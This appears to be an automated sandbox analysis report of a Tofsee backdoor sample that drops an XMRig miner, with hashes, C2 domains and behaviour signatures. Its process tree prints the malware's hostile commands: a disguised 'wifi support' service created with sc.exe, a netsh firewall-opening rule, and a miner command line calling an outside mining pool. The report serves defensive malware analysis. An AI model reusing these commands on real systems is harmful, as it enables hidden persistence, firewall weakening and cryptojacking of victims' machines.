Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-03-2023 01:25

General

  • Target

    c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe

  • Size

    256KB

  • MD5

    74acfb30c4959a65e42cce9a97411900

  • SHA1

    2dd172d565be99baafb81d3b7f2890a476ec110d

  • SHA256

    c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b

  • SHA512

    e59c4e0f4e614bcae0337de0f70b1056a4b57c9791d4248ab12bf59989a0199db081b7b9ce8a26ba1957518ef1dd5e7050b77e96a3010d49546b8881d7afddd8

  • SSDEEP

    3072:44CMrJO29U37A+fyvKFmxA5tQoA3qjlEBod/HN3pjAXPSQo:lfJzUrA+fyvKb5tQoA3qREBOfj

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe
    "C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rncwzrjl\
      2⤵
        PID:2716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jpcxqxkf.exe" C:\Windows\SysWOW64\rncwzrjl\
        2⤵
          PID:1336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rncwzrjl binPath= "C:\Windows\SysWOW64\rncwzrjl\jpcxqxkf.exe /d\"C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1156
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rncwzrjl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rncwzrjl
          2⤵
          • Launches sc.exe
          PID:956
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1036
          2⤵
          • Program crash
          PID:3960
      • C:\Windows\SysWOW64\rncwzrjl\jpcxqxkf.exe
        C:\Windows\SysWOW64\rncwzrjl\jpcxqxkf.exe /d"C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2772
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 512
          2⤵
          • Program crash
          PID:2352
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1368 -ip 1368
        1⤵
          PID:1120
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2948 -ip 2948
          1⤵
            PID:524

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\jpcxqxkf.exe

            Filesize

            10.1MB

            MD5

            c09f7e653aa4c41581cf3d9bea93257e

            SHA1

            dbf88c6d8e94a3ac966037fbe344c6be69c6831c

            SHA256

            a85d805fe7cc4154a1fbb2207f947b5b261d7d783c5b3c1f38a8ed4eeda08740

            SHA512

            778cd7281cd2e48a4e2d966c309ecc1e724fd03e4a7d4288e2c87db16b09cd390afaa7f820b85fb7a6f398fd62c2d745c3c48d9c5d1f6650bfeda94e644ae09b

          • C:\Windows\SysWOW64\rncwzrjl\jpcxqxkf.exe

            Filesize

            10.1MB

            MD5

            c09f7e653aa4c41581cf3d9bea93257e

            SHA1

            dbf88c6d8e94a3ac966037fbe344c6be69c6831c

            SHA256

            a85d805fe7cc4154a1fbb2207f947b5b261d7d783c5b3c1f38a8ed4eeda08740

            SHA512

            778cd7281cd2e48a4e2d966c309ecc1e724fd03e4a7d4288e2c87db16b09cd390afaa7f820b85fb7a6f398fd62c2d745c3c48d9c5d1f6650bfeda94e644ae09b

          • memory/1368-135-0x00000000007E0000-0x00000000007F3000-memory.dmp

            Filesize

            76KB

          • memory/1368-138-0x0000000000400000-0x0000000000583000-memory.dmp

            Filesize

            1.5MB

          • memory/2772-198-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-197-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-199-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-196-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-195-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-194-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-193-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2772-188-0x0000000000220000-0x0000000000311000-memory.dmp

            Filesize

            964KB

          • memory/2948-144-0x0000000000400000-0x0000000000583000-memory.dmp

            Filesize

            1.5MB

          • memory/4884-164-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-174-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-160-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-161-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-162-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-163-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-165-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-166-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-167-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-156-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-168-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-169-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-170-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-171-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-173-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-159-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-172-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-175-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            Filesize

            64KB

          • memory/4884-176-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

            Filesize

            20KB

          • memory/4884-179-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

            Filesize

            20KB

          • memory/4884-180-0x0000000007300000-0x000000000770B000-memory.dmp

            Filesize

            4.0MB

          • memory/4884-183-0x0000000007300000-0x000000000770B000-memory.dmp

            Filesize

            4.0MB

          • memory/4884-184-0x0000000001DE0000-0x0000000001DE7000-memory.dmp

            Filesize

            28KB

          • memory/4884-153-0x00000000017F0000-0x00000000017F6000-memory.dmp

            Filesize

            24KB

          • memory/4884-152-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4884-149-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/4884-147-0x00000000002C0000-0x00000000002D5000-memory.dmp

            Filesize

            84KB

          • memory/4884-146-0x00000000002C0000-0x00000000002D5000-memory.dmp

            Filesize

            84KB

          • memory/4884-145-0x00000000002C0000-0x00000000002D5000-memory.dmp

            Filesize

            84KB

          • memory/4884-143-0x00000000002C0000-0x00000000002D5000-memory.dmp

            Filesize

            84KB

          • memory/4884-140-0x00000000002C0000-0x00000000002D5000-memory.dmp

            Filesize

            84KB